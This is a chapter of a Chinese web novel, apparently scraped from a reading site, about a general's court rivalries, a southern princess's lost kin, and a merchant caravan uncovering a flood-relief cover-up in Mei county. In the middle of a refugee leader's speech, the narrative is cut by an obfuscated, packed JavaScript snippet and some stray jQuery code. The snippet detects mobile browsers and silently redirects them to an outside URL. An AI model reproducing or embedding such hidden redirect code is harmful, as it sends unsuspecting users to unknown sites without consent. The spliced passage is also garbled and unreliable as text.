67. 第六十七章
作品:《月下听澜》 清风推开门,程烁领着仆人站在门外。
身后跟着一位面带薄纱的伶人,怀里抱着一把琴。
“听闻卫将军爱听曲,在下特意寻了位此地的名角。”
清风额角抽了抽,这程家大公子真是……他回头看主子。
卫安晏一个正眼都不肯给程烁,慢慢收拾桌上的文书:“程大人若是无正事可做,不如早些回京去,替夫人孩子暖暖被窝。”
程烁脸上的笑容险些没挂住,他知卫安晏是个混不吝,平日里连丞相都敢顶撞,但他讲话也太难听了。
“程大人耳背?”卫安晏终于肯抬起头,看他一眼,“有病,趁早治。清风,关门。”
“程大人,您请回。”清风砰的一声合上门。
如果程烁一路上安分,卫安晏不会生疑。
但刚出京没几日,程烁就找来伶人相送,派人贴身跟着他,此地无银三百两,反让他猜到苏相必是嘱咐程烁仔细盯着他。
程斌刚被流放到南疆,程家还敢往苏党身边凑,程烁是个蠢货,程家更是一家子蠢货!
越州之事,必是苏党所为。
清风的提议,他心里赞同了八成,剩下两成是在想,如何在程烁的眼皮子底下,与廖丰羽来往?
……
南疆王府里遍地藤萝花草,院中有一颗被圈起来的枇杷树,上头挂满了金黄色的果子,香□□人。
辫子上缠了各色花绳,萧星野坐在南疆王腿上,亲昵地撒娇:“母亲,儿子虽未按时回来,但我干了好多事呢。”
他扳着手指头细数,拳打脚踢漠北小王子,帮着哥哥姐姐抓坏人……接下谢将军孙女的的请求,带着难民回南疆安置……还有,他得了本武功秘籍。
南疆王翻开武功秘籍,看见图画上的注释,呼吸猛然一滞,疾声问道:“谁给你的?”
“桑澜姐姐呀,她是赵王妃的侄女,她可厉害了!”萧星野又开始细数,他从京城听来的,关于桑澜的传奇故事。
他不会向外人乱说话,所以皇帝舅舅和端亲王舅舅讲话不避着他,他缠着两人问了好些事。
南疆王越听,眼里欣喜越多,问道:“她的眼睛,是不是像琥珀一样,浅黄色。”
萧星野一点头:“母亲,你怎么知道?”
“她去哪了?要去做什么事?走几天了?”
连着问了好几个问题,把萧星野都问懵了。
见他发愣,南疆王要起身往外走,威胁他:“再不说,我就告诉你姐姐,你的功课又请人代笔了。”
萧星野趴在南疆王身上,不肯下来:“皇帝舅舅派小澜姐姐去查越州的水灾了,要儿子说,那些个贪官全得完蛋,小澜姐姐保准查得他们底朝天。儿子从洛城回来,小澜姐姐早我一天启程,算算日子,她已经走了四天。”
萧星洛捧着文书匆匆从庭院中穿过,看见弟弟像个小猴子一样赖在母亲身上,当即道:“萧星野,拿着你的功课,去我的书房等着。”
“不去,母亲在问我小澜姐姐的事情呢。”萧星野不依,下人来报,“郡王,您的朋友来府上辞别,请您过去一趟。”
莲池要走,萧星野不肯让他走,从母亲身上跳下去:“姐,我办完事就去书房等你。”才怪呢,他才不去。
见他走远,萧星洛不确定地问母亲:“小澜?是我认识的小澜吗?”
南疆王威严的面容浮上笑意,点了点头:“听星野的讲述,应该是她。”
“那她为何这么多年不肯回南疆?”萧星洛抿唇,“甚至不修一书信。”
南疆王道:“星野听彤彤说,小澜为了救她,磕着头,忘了好些事。”
萧星洛作势要走:“我要去带她回来。”
南疆王拦下她:“她不会跟你回来。”
萧星洛不解:“为什么?”
南疆王将萧星野所说的事情复述一遍,如京城拐子案、西山匪乱、刘家买凶杀人、红袖香案和程家私吞补助金。现在,桑澜去了越州。
“她的友人死于西山匪乱,而这事的源头在苏家和逆党。以她的倔脾气,不拉苏家下马,揪出逆党头目,她绝不服输!”
萧星洛皱着眉:“皇帝舅舅和五舅舅手下无可用之人了吗?还是说,他们没认出来她?”
她比桑澜早出生一个时辰,自出生起就睡在同一张床上,被同一个奶娘带大。
定安长公主和南疆王忙于战事与政务,南疆王府上下将两姐妹当做双生子来养,她的库房里,还存放着两人小时候的衣裙,都是成双成对的。
天启九年,定安长公主拖着病体回京,桑澜跟着走了,就再也没了音讯。
萧星洛看到结满果子的枇杷树,双眼泛红:“她那年同我约定,要回来一起摘枇杷,我要去带她回来。苏家与逆党有关,那就按着苏家族谱,全部杀个干净!”
南疆不同于其他州县,是独属于南疆王的封地,其税收、人口独立管辖,朝中无人敢说半分不是,因为南疆有着四十万重兵,以一州之力,抵御着西南的碧苍国。
“星洛说什么气话呢。”一道紫色长袍人影,悠悠走进庭院。
……
官道上横放着鹿角,路上搭着草棚,里头坐着休息的官兵。
大华带人探路,被当做折返回去的流民打杀,五人甩开追兵,唤出林中的马儿,一路赶回来报信。
次日一早,商队整理好了行礼,却没着急离开。
桑澜提着一小包盐,去了想挟持谢木兰那伙人的营地。
“你们缺盐吧?”
流民的头目瞧出桑澜是商队的主事人,站出来与她交涉:“白送我们?”
桑澜:“我是个生意人,没那么好心,你们要用有价值的东西跟我换。”
头目回头看了营地里的人:“除了人,其他你能看上的,都可以。”
桑澜:“我去海州交货,货期催得紧,不得已从要越州穿过去。我的人去探路,发现路上的官府不问缘由,一律不准人通过。我想知道前头的眉县,究竟发生了什么事?”
流民的头目讥笑一声:“呵,老天爷发了大水,县太爷死了,衙门非说有人闯入县太爷的家门,打死了县太爷,将县里人都赶出去。不走的就是暴民,死路一条。”
桑澜递给他盐袋:“那怎么不继续往北走呢?”
流民的头目:“我们都是本地老实种田的良民,官府凭什么赶我们走?朝廷规定了,凡有天灾,官府必须开仓赈粮。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308497|156631||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
你猜怎么着,眉县的粮仓是空的,县太爷分明是畏罪自杀,县里其他官老爷怕收到牵连,就将县太爷的死扣在我们头上。”
“往年连着下两个月的雨,都不曾发过大水,去年仅一个月的雨就冲垮了堤坝。”
说着说着,他又说回自家田地,肩膀塌陷下去,说话也没了底气:“祖宗传下来的家业,哪能就这么丢了,我家娃娃刚考上童生,往后还要继续念书,不能成了流民啊。”
昨日夜里黑,桑澜不曾看清附近的景象,这伙人在旁边的山坡上种了瓜果,在此地定住了一段时日。
越州传回京城的消息:江水堤坝,淹了四个县。仓县和谷县被淹了田地,没什么人员伤亡;眉县粮仓被淹,没有粮食救济,暴民打死了当地官员;洱县最惨,整个县被水冲了,没几个人活着。
谢木兰跟着听了一阵,开口道:“朝廷从上头拨下来的救济粮,你们没领到吗?”
桑澜跟着点头:“青州还特意从北方送了粮下来。”
流民头目:“我们是流民,不被官府承认,又怎么会发粮给我们呢?”
“我这里有两本书,送你家娃娃看吧。”桑澜拿出两本经书,一个女童从队伍中走出来,擦干净自己的手,接过书,珍重地向桑澜作揖。
她小心翻过一页,看清上面的字,眼眸一亮,随即又黯淡下来,还给桑澜:“您的书太贵重了。”
“两本书而已。”桑澜推回去,“朝廷会派钦差下来处理,但这里离眉县太近,我希望你能劝诫你的家人和族亲,暂时搬到更安全的地方生活。”
商队离开。
流民头目问孙女,是什么书。
女童:“我见过夫子有一本一样的旧书。”她指着上头的一行小字,“白鹭书院,是京城的白鹭书院。”
众人心中顿时了然:这支商队从京城来,而商队管事说会有钦差来,那就是说,有人会管他们了!
“呀!”
女童又惊呼一声。
众人连忙问她怎么了。
她捧着书,书里夹着一张银票。
……
商队翻山越岭,换了另外一条道,顺利地进了眉县。
街面甚是热闹,全然不像受过灾。
这就很有意思了,原来本地的百姓被赶走,那新搬来的百姓又是从哪来的呢?
入城前,化整为零,分作三部分。
红杏带着一部分人留在城外接应,桑澜和谢木兰与十几人带着货物,以行商的名义进城,而小萝卜、大华和剩下的人分散进城。
商队包下一间小客栈。
“掌柜你这屋子不漏水吧。”桑澜抬头环视着屋顶,拍了拍箱子,“箱子里都是上好的草皮子,从北凉人手里买的,要是您这屋子漏雨,那可赔不起。”
商队卖草皮子的消息顷刻间传了出去。
“草皮子,哪里的草皮?”王员外放下喂鸟的吃食,问一旁的管家。
管家回道:“说是从北凉来的,要卖到海州去。而且有一张雪狼王的皮子,要价这个数。”他比了一个五。
“区区五百两。”王员外哂笑,手一伸,等着仆从给他穿衣,“要真是张好皮子,就买下来送给车大人。”